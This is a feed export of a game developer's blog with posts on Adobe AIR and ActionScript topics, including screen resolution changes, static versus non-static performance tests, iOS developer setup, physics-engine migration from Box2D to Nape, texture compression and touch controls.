tag:blogger.com,1999:blog-34305349368204674522024-03-05T04:57:51.110+00:00Salsa de PixelesThis Blog will talk about development. I will try to post all my discoveries.
META INFO: Actionscript, AS2, AS3, PHP, AIR, Adobe, Citrus Engine, Photography, FlashBrighton, Programmer, Brighton, London, Béjar, Salamanca, Madrid, Fun.Unknownnoreply@blogger.comBlogger27125tag:blogger.com,1999:blog-3430534936820467452.post-10911839323149429522015-02-10T18:37:00.002+00:002015-02-10T18:42:39.452+00:00How to change screen resolution in Adobe AIR [only Windows]<div class="post">
As you know we can't change resolution size using Adobe AIR. And that is a problem in old hardware where fill rate was low.<br />
<br />
I got the answer to most of my problems:<br />
QRes.exe!<br />
<a href="http://qres.software.informer.com/1.1/" rel="nofollow">http://qres.software.informer.com/1.1/</a><br />
<br />
With that tool you can change the screen resolution in windows using command line.<br />
<br />
Example:<br />
<span class="st"><i>"QRes</i>.exe /<i>x</i>:<i>800</i> /y:600" for 800x600</span> <br />
<br />
The idea would be to have that EXE somewhere in the project folder.:<br />
<ol>
<li>On
start, check current resolution and store it.</li>
<li> Call the other stored resolution we had stored it in options menu or wherever (can be also a fixed resolution of course).</li>
<li> We send as arguments to that executable and change the resolution to whatever we want
(and it's supported by both GPU and screen).</li>
<li> Play the game / app.</li>
<li> Finally, on exit,
restore the original resolution before closing the app.</li>
</ol>
<br />
That's a solution I am going to apply to my current game (<a href="http://www.kaleidogames.com/en/d14/Vortex-Attack">Vortex Attack</a>), needed for some of the old hardware I'm taking to the fairs... The problem
will come whenever the app crashes or the user ALT-F4 (force quit) the app... Any ideas for
that? Is there any event we can use for those two?<br />
<br />
Cheers!
</div>
Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-3430534936820467452.post-488210677933975002014-05-26T21:02:00.005+01:002014-05-26T21:11:43.029+01:00Static vs non-static: vars vs consts in Adobe AIR.I was cleaning the engine that makes Beekyr a good performing game in all platforms. And I just thought , I could try to make it perform even more by converting my static classes and vars to non static.<br />
<br />
I got the most bizarre results....<br />
<br />
The tests consist in accessing a variable (or const) 1 million times.<br />
<br />
<br />
Code:<br />
<blockquote class="tr_bq">
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;">package kaleidoEngine.parts.tests <br />{<br /> import citrus.core.CitrusEngine;<br /> import flash.display.Sprite;<br /> import flash.utils.getTimer;<br /> import game.GameVars;<br /> import game.Main;<br /> import kaleidoEngine.parts.data.EngineVars;<br /> /**<br /> * ...<br /> * @author Jaime Dominguez<br /> */<br /> public class staticPerformance extends Sprite<br /> {<br /> private var resultsProperties:Array;<br /> private var resultsStatics:Array;<br /> public var tempInt:int;<br /> public function staticPerformance() <br /> {<br /> testA(10000000);<br /> testB(10000000);<br /> <br /> row("*****END TEST*******");<br /> <br /> }<br /> <br /> private function testB(_REPS:Number):void <br /> {<br /> var _game:Main = CitrusEngine.getInstance() as Main;<br /> var beforeTime:int;<br /> var afterTime:int;<br /> var REPS:int = _REPS;<br /> var i:int;<br /> var inte:int;<br /> var c:Class;<br /> var num:Number;<br /> <br /> var resultA:int ;<br /> var resultB:int ;<br /> <br /> tempInt = GameVars.DIFFICULTY_LEVEL;<br /> var _tempInt:int = GameVars.DIFFICULTY_LEVEL;<br /> beforeTime = getTimer();<br /> for (i = 0; i < REPS; ++i)<br /> {<br /> num = GameVars.DIFFICULTY_LEVEL;<br /> }<br /> afterTime = getTimer();<br /> resultA = (afterTime-beforeTime);<br /> row("STATIC VAR INT:" + (afterTime-beforeTime))<br /> <br /> beforeTime = getTimer();<br /> for (i = 0; i < REPS; ++i)<br /> {<br /> inte = tempInt;<br /> }<br /> afterTime = getTimer();<br /> resultB = (afterTime-beforeTime);<br /> row("CLASS VAR INT:" +( afterTime-beforeTime))<br /> <br /> beforeTime = getTimer();<br /> for (i = 0; i < REPS; ++i)<br /> {<br /> inte = _tempInt;<br /> }<br /> afterTime = getTimer();<br /> resultB = (afterTime-beforeTime);<br /> row("FUNCTION CONST INT:" +( afterTime-beforeTime))<br /> <br /> if (resultA > resultB) row ("LOCAL VAR INT IS FASTER");<br /> else row ("NON-LOCAL VAR INT IS FASTER");<br /> <br /> <br /> }<br /> <br /> public function row(text:*):void {<br /> trace ("[TESTING] " + text);<br /> }<br /> <br /> public function testA(_REPS:uint):void{<br /> <br /><br /> var _game:Main = CitrusEngine.getInstance() as Main;<br /> var beforeTime:int;<br /> var afterTime:int;<br /> var REPS:int = _REPS;<br /> var i:int;<br /> var inte:int;<br /> var c:Class;<br /> var num:Number;<br /><br /> row("*****Testing ["+_REPS+"]*******");<br /><br /> resultsProperties = new Array();<br /> resultsStatics = new Array();<br /> <br /> beforeTime = getTimer();<br /> for (i = 0; i < REPS; ++i)<br /> {<br /> num = _game.gameVars.CONST_NUM;<br /> }<br /> afterTime = getTimer();<br /> resultsProperties.push(afterTime-beforeTime)<br /> <br /> beforeTime = getTimer();<br /> for (i = 0; i < REPS; ++i)<br /> {<br /> num = _game.gameVars.CONST_INT;<br /> }<br /> afterTime = getTimer();<br /> resultsProperties.push(afterTime-beforeTime)<br /> <br /> beforeTime = getTimer();<br /> for (i = 0; i < REPS; ++i)<br /> {<br /> num = _game.gameVars.VAR_NUM;<br /> }<br /> afterTime = getTimer();<br /> resultsProperties.push(afterTime-beforeTime)<br /><br /> beforeTime = getTimer();<br /> for (i = 0; i < REPS; ++i)<br /> {<br /> inte = _game.gameVars.VAR_INT;<br /> }<br /> afterTime = getTimer();<br /> resultsProperties.push(afterTime-beforeTime)<br /><br /> row ("------STATICS------");<br /> <br /> beforeTime = getTimer();<br /> for (i = 0; i < REPS; ++i)<br /> {<br /> num = GameVars.ST_CONST_NUM;<br /> }<br /> afterTime = getTimer();<br /> resultsStatics.push(afterTime-beforeTime);<br /> <br /> beforeTime = getTimer();<br /> for (i = 0; i < REPS; ++i)<br /> {<br /> num = GameVars.ST_CONST_INT;<br /> }<br /> afterTime = getTimer();<br /> resultsStatics.push(afterTime-beforeTime);<br /> <br /> beforeTime = getTimer();<br /> for (i = 0; i < REPS; ++i)<br /> {<br /> num = GameVars.ST_VAR_NUM;<br /> }<br /> afterTime = getTimer();<br /> resultsStatics.push(afterTime-beforeTime);<br /> <br /> beforeTime = getTimer();<br /> for (i = 0; i < REPS; ++i)<br /> {<br /> inte = GameVars.ST_VAR_INT;<br /> }<br /> afterTime = getTimer();<br /> resultsStatics.push(afterTime-beforeTime);<br /> <br /> <br /> //row("RESULTS : PROPERTY VS STATIC ");<br /> //row("CONST NUM:" +resultsProperties[0] +" vs. " + resultsStatics[0] )<br /> if (resultsProperties[0] > resultsStatics[0]) row("CONST NUM: STATIC FASTER");<br /> else row("CONST NUM: PROPERTY FASTER");<br /> //row("-----------------");<br /> //row("CONST INT:" +resultsProperties[1] +" vs. " + resultsStatics[1] )<br /> if (resultsProperties[1] > resultsStatics[1]) row("CONST INT: STATIC FASTER");<br /> else row("CONST INT: PROPERTY FASTER");<br /> //row("-----------------");<br /> //row("VAR NUM:" +resultsProperties[2] +" vs. " + resultsStatics[2] )<br /> if (resultsProperties[2] > resultsStatics[2]) row("VAR NUM: STATIC FASTER");<br /> else row("VAR NUM: PROPERTY FASTER");<br /> //row("-----------------");<br /> //row("VAR INT:" +resultsProperties[3] +" vs. " + resultsStatics[3] )<br /> if (resultsProperties[3] > resultsStatics[3]) row("VAR INT: STATIC FASTER");<br /> else row("VAR INT: PROPERTY FASTER");<br /> //row("-----------------");<br /><br /> <br /> }<br /> }<br /><br />}</span></span> </blockquote>
<br />
<br />
You will need to create a <b>GameVars </b>class to host all variables <br />
And a<b> _game </b>class that has <b>gameVars </b>as <b>GameVars </b><br />
<br />
<br />
<i><span style="font-size: large;">Results....</span></i><br />
<br />
<i><span style="font-size: large;">Test 1: </span></i><br />
<br />
<b><u>Int / Number</u></b><i> (they take same time but only sometimes int is faster):</i><br />
<br />
<span style="background-color: #6aa84f;"><i>public const int : 7 ms; (this looks pretty fast!)</i></span> <br />
<i><b>static </b>public const int : 82 ms;</i><br />
<br />
<br />
<b><u>Number:</u></b><br />
<i>public var Number : 97 ms;</i><br />
<i><b>static </b>public var Number : 86 ms;</i><br />
<br />
<b><u>Int:</u></b><br />
<i>public var int : 84 ms;</i><br />
<i><b>static </b>public var int : 86 ms;</i><br />
<br />
<br />
<i><span style="font-size: large;">Test 2: <span style="font-family: "Courier New",Courier,monospace;"><span style="font-size: x-small;"></span></span> </span></i><br />
If I copy a static var (int) to a local var int<br />
<i>static public var int : 89 ms (external to from that object)</i><br />
<i>public var int : 87 ms (class var)</i><br />
<br />
<i> </i><br />
<br />
<br />
<i>So results are:</i><br />
<u>Test 1:</u><i> </i><br />
<i>The fastest are NON-STATIC CONSTS</i><br />
<br />
<u>Test 2:</u><br />
<i>If copy static var to a local class or function var and then re-use that new var, makes a very little performance improvement... and only sometimes.</i><br />
<i><br /></i>
<i></i>
My conclusion is that only non-static consts are really fast. The rest are kind of the same.<i></i><br />
<br />
Please do your tests and let us know, I'm not sure If I made some mistake because it makes little sense to me....<br />
<br />
<br />
<br />
<br />Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-3430534936820467452.post-14254189404596902402014-05-20T10:34:00.000+01:002014-06-11T14:32:18.300+01:00Registering as Apple iOS DeveloperHello guys I went through hell of creating a new account , registering as iOS developer and setting up my first AIR app. So this steps are valid for Adobe AIR it might be useful for more people).<br />
<br />
I was writing these steps while I was doing them but I did some wrong so I had to erase many steps and start again from some point.... I think I have fixed the list now.<br />
<br />
You can follow the steps. If there is something wrong or missing, let me know.<br />
<br />
<br />
<ol>
<li>Make an apple account</li>
<li>Register as developer</li>
<li>Pay £60 </li>
<li>Wait for a bit.</li>
<li>Get stuck in a loop. (I need to register but I am already registered)</li>
<li>Ask for help? Doesn't work as I need a mac.</li>
<li>Got a mac, carry on. </li>
<li><span style="color: cyan;"><b>[OSX]</b></span> Create CSR: "certificateSigningRequest.certSigning" from KeyChain Access <a href="http://lessons.runrev.com/m/4069/l/32957-how-do-i-create-a-distribution-profile-for-ios">(MORE INFO HERE)</a></li>
<li><span style="color: #6fa8dc;"><b>[developer.apple.com]</b></span> Create a certificate for 'iOS - App developent'. Uploading the file from previous step. And download the certificate file.</li>
<li><span style="color: cyan;"><b>[OSX]</b></span> Convert it to P12 using the keychain access in OSX. (you will need this file when testing to the device and also you need another different P12 for publishing)</li>
<li><b><span style="color: #6fa8dc;">[developer.apple.com]</span></b> Create the app ID following these steps:http://www.adobe.com/devnet/air/articles/packaging-air-apps-ios.html</li>
<li><b><span style="color: #6fa8dc;">[developer.apple.com]</span></b> VERY IMPORTANT: DO NOT ADD THE PREFIX <b>AIR.</b> to the App ID.<i> I found that in some websites and that is wrong.</i></li>
<li>[iTunes software]. Connect the phone and copy de UID (click on serial number)</li>
<li><b><span style="color: #6fa8dc;">[developer.apple.com]</span></b> Register a new device.</li>
<li><b><span style="color: #6fa8dc;">[developer.apple.com]</span></b> Create a new provisioning Profile. Development for testing.</li>
<li><b><span style="color: #6fa8dc;">[developer.apple.com]</span></b> You will need to tick who's going to be testing and where. Then download a .mobileprovision file. </li>
<li><span style="color: cyan;"><b>[<span style="color: #b4a7d6;">WINDOWS </span>/ OSX]</b></span> Set up flash develop or whatever you use.</li>
<li>Compile using Ad-Hoc or testing.</li>
</ol>
<br />
<br />
<br />Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-3430534936820467452.post-54636535024370350142014-05-07T03:18:00.001+01:002014-09-10T15:35:52.456+01:00How to implement FreshPlanet In App Purchase ANE in Adobe AIRFirst thing I have to admit I went really crazy looking for solutions online, none of them were right.<br />
<br />
I ended up inventing my own solution after being able to implement <a href="https://github.com/pozirk/AndroidInAppPurchase">pozirks ANE</a> successfully (for Android). I decided to use some stuff from here and there and I managed to make it work...<br />
<br />
So here is the chest with the gold: here it goes what it's missing in all other pages that talk about this ANE.... <b>The descriptor XML file configuration</b>....<br />
<br />
<br />
<i>Application.XML</i> file needs to have this lines among the rest of your items please place them in their own places:<br />
<br />
<br />
<manifestAdditions><br />
<![CDATA[<manifest android:installLocation="preferExternal"><br />
<uses-sdk android:minSdkVersion="8" /><br />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /><br />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" /><br />
<uses-permission android:name="android.permission.INTERNET" /><br />
<uses-permission android:name="com.android.vending.BILLING" /><br />
<br />
<application android:enabled="true"><br />
<b><activity android:name="com.freshplanet.inapppurchase.activities.BillingActivity" android:theme="@android:style/Theme.Translucent.NoTitleBar.Fullscreen" android:background="#30000000" /></b><br />
</application><br />
</manifest>]]><br />
</manifestAdditions>
<br />
<br />
and in extensions:<br />
<extensions><br /> <b> </b></extensions><extensions><b><extensionID</b></extensions><extensions><b>>
<extensionid>com.freshplanet.AirInAppPurchase </extensionid></b></extensions><extensions><b><extensionid></extensionID</extensionid></b></extensions><extensions><b><extensionid>>
</extensionid></b><br /> </extensions> <br />
<br />
That works pretty well.<br />
You should be able to make it work after this.... But if you have troubles , let me know and I will publish the .AS file using this ANE.<br />
<br />
<br />
<br />
<br />
<br />
<br />Unknownnoreply@blogger.com9tag:blogger.com,1999:blog-3430534936820467452.post-25355826482815651302014-04-30T23:30:00.000+01:002014-07-31T16:34:35.413+01:00ATF experiments in Adobe AIR (in Android)After we developed out latest app <a href="https://play.google.com/store/apps/details?id=air.kaleidogames.PerfectBrewTeaTimer" target="_blank"><i>PerfectBrew</i> </a>for Android (helps you <a href="https://play.google.com/store/apps/details?id=air.kaleidogames.PerfectBrewTeaTimer" target="_blank">making teas</a>!) <br />
We realized it takes ages to load (well... 10 seconds!) but we want it faster. We had one unique texture atlas with PNG (2048x2048), fully crowded with everything....<br />
<br />
In order to be able to expand our app later on we have decided to split it in 3 atlases (same contents for now)<br />
<ul>
<li>1 PNG (1024x2048)</li>
<li>1 PNG (1024x1024)</li>
<li>1 ATF (1024x2048)</li>
</ul>
We wanted to make sure we use ATF as much as possible without breaking the graphics (as it doesnt support preMultiplied Atlas!) <br />
<br />
We compressed out PNG to ATF with:<br />
<blockquote class="tr_bq">
png2atf.exe -c e -e -q 10 -4</blockquote>
<br />
And here are the results:<br />
<br />
<span style="font-size: large;"><b>1 big PNG:</b></span><br />
<b>Loading time:<i> </i></b>9-10 seconds.<br />
<b>VRAM used </b>(right after loading) 3 PNGS: 31Mb<br />
<br />
<span style="font-size: large;"><b>3 PNGs:</b></span><br />
<b>Loading time:<i> </i></b>9-10 seconds.<br />
<b>VRAM used </b>(right after loading) 3 PNGS: 37Mb<br />
<br />
<span style="font-size: large;"><b>2 PNGs + 1 ATF:</b></span><br />
<b>Loading time: </b>8-9 seconds.<b> </b><br />
<b>VRAM used </b>(right after loading) 2 PNGS + 1 ATF: 29Mb<br />
<br />
We couldn't speed up the load unless we had some textures loaded AFTER the app started. But this was just an experiment where we forced the program to load everything at start.<br />
<br />
We used ATFs in <a href="https://play.google.com/store/apps/details?id=air.air.BeekyrAndroid" target="_blank">Beekyr </a>(a ton of textures there!) and it was a lot more noticeable as there are a lot of ATFs in the game.<br />
<br />
<br />
<b>UPDATE:</b><br />
I tried adding the -r argument and it makes a difference:<br />
It generates very light ATF files that get loaded really fast when we execute the apps. But the images can look very blocky... To avoid this blockyness you need to remove the -q parameter:<br />
<blockquote class="tr_bq">
png2atf.exe -c e -e -r -4</blockquote>
<br />
<br />
One thing that doesnt make a difference is when we pack the app into APK it doesnt make much of a difference in file space as APK is a compressed format.<br />
<br />
I hope this can be useful for somebody!Unknownnoreply@blogger.com2tag:blogger.com,1999:blog-3430534936820467452.post-12372419294362154182013-06-20T15:52:00.000+01:002013-06-20T15:52:00.071+01:00Enable Nape debugging with CitrusEngine.After initializing the engine you need to enable a onEnterFrame listener to constantly refresh it all the debug images:<br />
<br />
This is how I have done it:<br />
<br />
<br />
<blockquote class="tr_bq">
var params:Object = new Object();<br />
<br />
nape = new Nape("nape", params);<br />
nape.touchable = false;<br />
enableDebug();<br />
add(nape);<br />
</blockquote>
<br />
<br />
<blockquote class="tr_bq">
private function enableDebug():void <br />
{<br />
debug = new ShapeDebug(GameVars.SCREEN_X,GameVars.SCREEN_Y);<br />
debug.drawBodies = true;<br />
debug.drawSensorArbiters = true; <br />
debug.drawConstraints = true;<br />
Starling.current.nativeOverlay.addChild(debug.display);<br />
stage.addEventListener(Event.ENTER_FRAME, loop );<br />
}</blockquote>
<br />
<blockquote class="tr_bq">
public function loop( evt:Event ) : void {<br />
debug.clear();<br />
debug.draw(nape.space);<br />
debug.flush();<br />
}</blockquote>
It should be easy to adapt it to your needs. It's pretty straight forward!Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-3430534936820467452.post-1146147956599501632013-06-17T17:39:00.000+01:002013-08-10T23:18:29.710+01:00Optimizing performance when developing high responsive apps: Pools<div>
<b>Everything needs to be pooled.</b><br />
<br />
<b>T</b>his
means that you create objects when they don't exist. When an enemy or
bullet get destroyed it will only get destroyed visually, not in the logics of the game.<br />
<br />
The engine places that enemy or bullet in a place in the screen that is not possible to
interact. Then disable it and wait until a new enemy of the same kind
comes into the screen , then we recycle the object and reuse it as new by refreshing or resiting all its variables.<br />
<br />
Why this? Creating
destroying objects can be very heavy on the CPU when done several times in a frame (or loop). So by avoiding the creation of new objects we will have a smoother game play.<br />
<br />
When creating objects we enable themt and when we don't need them, we can just disable them. In my particular game I've created this function to be used with CitrusObjects (from <a href="https://www.citrusengine.com/">CitrusEngine</a>).</div>
<blockquote class="tr_bq">
private function enableObject(status:Boolean):void <br />
{<br />
view.pauseAnimation(status); //textures will not update.<br />
view.visible = status; //will hide the object<br />
updateCallEnabled = status;//will stop updating each frame.<br />
_inUse = status; <br />
set_bodyEnabled(status); //disable collisions<br />
}</blockquote>
<br />
I hope it helps!Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-3430534936820467452.post-63277791516776246502013-06-13T17:56:00.000+01:002013-06-13T17:56:00.100+01:00From Box2D to Nape in CitrusEngineDue the massive Garbage generated by Box2D creating memory fragmentation. I will be porting my shoot'em up game <a href="https://play.google.com/store/apps/details?id=air.air.BeekyrAndroid">Beekyr</a> (using <a href="https://www.citrusengine.com/">CitrusEngine</a>) from <a href="http://box2d.org/">Box2D </a>to <a href="http://napephys.com/">Nape</a>.<br />
<br />
<br />
Firstly, I have changed these physics instance from:<br />
<blockquote class="tr_bq">
var params:Object = new Object();<br />
params.doSleep = false;<br />
var box2D:Box2D = new Box2D("box2D",params);<br />
<br />
box2D.gravity = new b2Vec2(0, 0);<br />
<br />
box2D.touchable = false;<br />
box2D.world.SetContinuousPhysics(false);<br />
box2D.velocityIterations = 1;<br />
add(box2D);</blockquote>
to Nape:<br />
<blockquote class="tr_bq">
var params:Object = new Object();<br />
var nape:Nape = new Nape("nape", params);<br />
nape.gravity = new Vec2(0, 0);<br />
nape.touchable = false;<br />
add(nape);</blockquote>
<br />
I changed all my objects from extending Box2DPhysicsObject to NapePhysicsObject.<br />
All my custom fixtures has been erased, and collision groups dissapeared.<br />
<blockquote class="tr_bq">
_body.SetActive(true/false);</blockquote>
to Nape: <br />
<blockquote class="tr_bq">
_body.space = null; //to disable<br />
_body.space = _nape.space //to enable.
</blockquote>
<br />
Updating rotation:<br />
before, Box2D:<br />
<br />
<blockquote class="tr_bq">
<pre lang="as3">_body.setRotation(rads)</pre>
</blockquote>
<br />
now, Nape, (I think this same code should work the box2D wrapper?):<br />
<br />
<blockquote class="tr_bq">
<pre lang="as3">_body.rotation = rads;</pre>
</blockquote>
<br />
<br />
Updating velocity:<br />
before, Box2D:<br />
<br />
<blockquote class="tr_bq">
<pre lang="as3">_body.SetLinearVelocity(new b2Vec2(_currentSpeed.x, _currentSpeed.y);</pre>
</blockquote>
<br />
now, Nape, (I think this same code should work the box2D wrapper?):<br />
<br />
<blockquote class="tr_bq">
<pre lang="as3">_body.velocity = new Vec2(_currentSpeed.x, _currentSpeed.y);</pre>
</blockquote>
But since the units change betweens engines, Im using pixels as unit and updating the position with my own engine:<br />
<blockquote class="tr_bq">
x +=speed.x; <br />
y +=speed.y;</blockquote>
This is uesful for shoot'em ups but I am very unsure what would happen if I was using real physics, with gravity, etc.<br />
<br />
Updating collisions... they use now a different override, but the rest is the same:<br />
<br />
before, Box2D:<br />
<br />
<blockquote class="tr_bq">
<pre lang="as3">override public function handleBeginContact(contact:b2Contact):void {
var collisionWith:* = Box2DUtils.CollisionGetOther(this, contact);</pre>
</blockquote>
<br />
now, Nape:<br />
<br />
<blockquote class="tr_bq">
<pre lang="as3">override public function handleBeginContact(contact:InteractionCallback):void {
var collisionWith:* = NapeUtils.CollisionGetOther(this, contact);</pre>
</blockquote>
<br />
<br />
now fixtures are not present as such so I needed to change the way I set up the filters and physics:<br />
<br />
<blockquote>
override protected function defineBody():void {<br />
_bodyType = BodyType.KINEMATIC ;<br />
}<br />
<br />
override protected function createFilter():void {<br />
super.createFilter();<br />
_shape.sensorEnabled = true;<br />
_shape.filter.sensorGroup = PhysicsCollisionCategories.Get("enemyBullet");<br />
_shape.filter.sensorMask = PhysicsCollisionCategories.Get("player", "playerBullet");<br />
}</blockquote>
<br />
I think I didn't have to change anything else...<br />
<br />
Performance doubled on my smartphone, I went from 18-30FPS to constant 30FPS for the game. <br />
<pre class="as3" style="font-family: monospace;"></pre>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-3430534936820467452.post-71358043862690996192013-06-10T17:36:00.002+01:002013-06-10T18:08:09.546+01:00Optimizing performance in CitrusEngine and Box2D<div>
<div>
Performance tips.<br />
<br />
I will explain my experience when I was building <a href="https://play.google.com/store/apps/details?id=air.air.BeekyrAndroid">Beekyr</a> game for AIR using <a href="https://www.citrusengine.com/">CitrusEngine</a> and Box2D....<br />
<br />
This might be applied to other game engines.... but the way Box2D is used might be the same.</div>
<div>
</div>
<div>
When I created first Beekyr stage prototype I had about 2000 objects moving
smoothly in screen, Stage3D was just amazing. But I needed the sprites to collide between each other. Everyone recommended to use the physics engine Box2D, even it if was just for collisions<i> (later on I replaced it for Nape engine (for AS3), which is at least twice as fast, click here to see how I converted from Box2D to Nape).</i><br />
<br />
After adding the physics engine, I only was able to have about hundred of objects moving smooth and fast (still no code to make them react with each other). </div>
<div>
<br />
I didn't realize that a physics engine would make things THAT slow, specially in smartphones, so I had to start optimizing everything:</div>
I made everything to be classified as sensor:</div>
<blockquote class="tr_bq">
<div>
_fixtureDef.isSensor = true;</div>
</blockquote>
<div>
That means that touching objects can overlap without having a bounce effect or something.</div>
<div>
<br /></div>
<div>
Enable only begin handle contact:</div>
<blockquote class="tr_bq">
<div>
beginContactEnabled = true;</div>
</blockquote>
<div>
</div>
<div>
Objects will not react until I enabled at least one form of contact in Citurs Engine.</div>
<div>
</div>
<div>
Then I want to create groups, that means groups with the same ID will not react to each other this is very good when you have loads of real bullets or lots of enemies, this will stop most collision functions to be triggered when the bullets or enemies overlap.<br />
The way to do this is to edit the fixture filter, this is how enemy bodies are filtered:<br />
<blockquote class="tr_bq">
override protected function defineFixture():void {<br />
super.defineFixture();<br />
_fixtureDef.filter.groupIndex = GameVars.ENEMY_GROUP;<br />
_fixtureDef.isSensor = true;<br />
}</blockquote>
<br /></div>
<div>
Don't ever use isBullet() unless is completelly necesary. This will add more calculations to the engine making it slower.<br />
<br /></div>
<div>
<br /></div>
<div>
</div>
<br />Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-3430534936820467452.post-9404241497991496852013-05-27T11:47:00.000+01:002013-08-19T11:40:24.236+01:00Fitting the game to in any screen resolution.For my <a href="https://play.google.com/store/apps/details?id=air.air.BeekyrAndroid">Beekyr</a> Android game it all started as 720p as it would be a Flash game, but then I realized that the game needed to work in 800x480 for my smartphone... After that, I realized I needed to make it work in more resolutions for the rest of all Android phones out there. I had to think a way to scale the game and assets.... Turned out that is wasn't that hard!<br />
<br />
Basically, I had to work always with 720p in mind. <br />
<br />
When the game loads I need to work out a conversion rate for the resolution. So first lines of code executed, even before the engine : <br />
<br />
<blockquote>
public static const ORIGINAL_X:int= 1280;<br />
public static const ORIGINAL_Y:int = 720;<br />
public static var SCREEN_X:int;<br />
public static var SCREEN_Y:int;<br />
<br />
public static var REDUCTION_RATIO:Number;<br />
<br />
<br />
private function getReductionRatio():void <br />
{<br />
&nbspSCREEN_X = Capabilities.screenResolutionX;<br />
&nbspSCREEN_Y = Capabilities.screenResolutionY;<br />
var ratioX:Number = SCREEN_X / ORIGINAL_X;<br />
var ratioY:Number = SCREEN_Y / ORIGINAL_Y;<br />
<br />
if (ratioX < ratioY) {<br />
REDUCTION_RATIO = ratioX;<br />
}else {<br />
REDUCTION_RATIO = ratioY; <br />
}<br />
} </blockquote>
<br />
Then apply this REDUCTION_RATIO variable to every loaded asset, positions,speeds and basically everything that involved pixels.<br />
<br />
Examples: <br />
<blockquote class="tr_bq">
params.height = size.w*REDUCTION_RATIO;<br />
params.width = size.h*REDUCTION_RATIO; <br />
_bulletSpeed = 38*REDUCTION_RATIO;</blockquote>
<br />
<br />
If using AssetManager, all the stretching will be done for you if you initialize it like this:<br />
<blockquote class="tr_bq">
assetsManager = new AssetManager (1 / GameVars.REDUCTION_RATIO, false);</blockquote>
<br />
But if you are converting textures manually then convert them like this:<br />
<blockquote class="tr_bq">
Texture.fromBitmap(bitmap,false,true,1/GameVars.REDUCTION_RATIO); </blockquote>
This will still use same amounts of Texture Memory in 720 than 480 or 320. If you have troubles with that , load different assets that are smaller and change the REDUCTION RATIO.<br />
<br />
In my case, load / unload assets between stages, works well too.<br />
I never reached 128MB of VRAM (more or less, the minimum memory these days: ipad1).<br />
<br />
It takes time and real concentration to make it work well but when is done it works flawlessly.<br />
<br />
Enjoy.Unknownnoreply@blogger.com2tag:blogger.com,1999:blog-3430534936820467452.post-19396564012972703122013-05-21T16:57:00.001+01:002013-06-10T17:22:26.522+01:00Career Shift : from Flash websites to AIR apps I have been developing websites since 2004, I immediately jumped into Flash when I knew about it. This plug-in let me do really amazing things when you compared it with the HTML3-4 limits...<br />
<br />
I worked for years as Flash developer along with very few PHP jobs. But Flash was becoming stronger. It was a solid OOP language and very tested plug-in without hardly any flaws.... until Steve Jobbs told otherwise and everyone believed him, they didn't realize it was all a war between Apple and Adobe, and everybody lost. Only the apple man won his own personal fight.<br />
<br />
With all of this in mind I tried to make a game in Flash 10. I wanted to add many graphics and effects but I couldn't get anything very complex working due the lack of GPU acceleration. So I left the game in a playable state, but it was too simple. I had to discard the idea of making complex flash games.<br />
<br />
Meanwhile Adobe didn't know how to handle the fight with Apple. Nevertheless Adobe released the best update ever made for flash: molehill - Stage3D. It was the beginning of triple A games in Flash. But it was all obscured with the war.<br />
<br />
I realized about this and knew I was finally able to make complex games in flash... but flash sites were starting to die, all iProducts didn't accept flash so the world had to adapt to this (instead of the other way).<br />
<br />
I didn't see the GPU acceleration happening in mobile phones until very late 2012. By then market almost already shifted back to old HTML. I was sure that didn't like this backwards step. In fact it was a waste of time for me, I lost all interest in the web: coding with JavaScript (no OOP) is a total nightmare when you add browsers variety to the equation.<br />
So I had no choice other than leaving the web scene and move into apps/games.<br />
<br />
I wanted to make games, I didn't mind what language so I researched into some of them: coronaSDK, Unity3D, phoneGap. But a friend told me about CitrusEngine framework for flash Stage3D. So I started working heavily for a month or two to get a demo that looked and and was responsive in Flash at very high frame rates... I was impressed as that was exactly what I had in mind a year back... <br />
Only then, I decided to make a real game. I got in touch with two friends that were able to work with me: <a href="http://sinestesia.co/" target="_blank">Diego Gangl</a> (amazing artist) and Mete Burch (modern musician). I ended up leading a team making the awesome game I always wanted and playable in most Android phones:<br />
<a href="https://play.google.com/store/apps/details?id=air.air.BeekyrAndroid" target="_blank">Beekyr</a><br />
<br />
I made it in adobe AIR to be able to get to android devices. It was a really good decision. In the other hand it was also difficult to make the app perform well in these low powered devices. I was used to powerful PCs but I had to work hard to optimize everything and learn some very interesting techniques to make it run smooth everywhere.<br />
<br />
So now, in 2013, the history carries on as Indie Developer.<br />
I hope I can manage it well and live from making good quality games!Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-3430534936820467452.post-76881527828077623212013-05-17T11:22:00.000+01:002013-06-10T17:58:14.223+01:00TouchPad class for AS3 + Starling (Rev.2)A month ago I shared a touch class that was pretty useful to play games in smart-phones but after some testing I realized that didn't work well when moving (with left thumb) + shooting (with right thumb) and pressing them alternatively.<br />
<br />
After a bit of thinking, I have improved the class and now it will use always the left thumb to move and the right to shoot keeping the previous functionality. (But you can invert this easily, it have upgrade my class but it is still not public as I want to add more features before posting about it again!)<br />
<br />
There is some tap functionality I need to implement, that will be in an future release: Ver.3....
<br />
<br />
Here it is, enjoy (for AIR or AS3):<br />
(feel free to contribute to the class commenting here or in <a href="http://forum.starling-framework.org/topic/my-screentouch-class-for-you#post-30344" target="_blank">Starling Forum</a>).<br />
<br />
<br />
<br />
<b>Class: TouchPad.as</b><br />
<blockquote class="tr_bq">
<br />
package beekyr.controllers<br />
{<br />
import flash.geom.Point;<br />
import starling.display.Quad;<br />
import starling.events.Touch;<br />
import starling.events.TouchEvent;<br />
import starling.events.TouchPhase;<br />
public class TouchPad extends Quad<br />
{<br />
/**<br />
* ...<br />
* @author Jaime Dominguez for Beekyr (2013)<br />
* http://www.jaimedominguez.com<br />
*/<br />
<br />
private var _moveVector:Point = new Point();<br />
private var _tapVector:Point = new Point();<br />
private var _latestVector:TouchData = new TouchData();<br />
private var _sensitivity:Number;<br />
private var _touching:Boolean;<br />
private var _dualTouching:Boolean;<br />
private const TAP_SENSITIVITY:Number = 2;<br />
private var _tap:Boolean;<br />
private var _justTapped:Boolean;<br />
<br />
<br />
public function TouchPad(width:int, height:int, sensitivity:Number = 1) {<br />
<br />
super(width,height,0xff0000);<br />
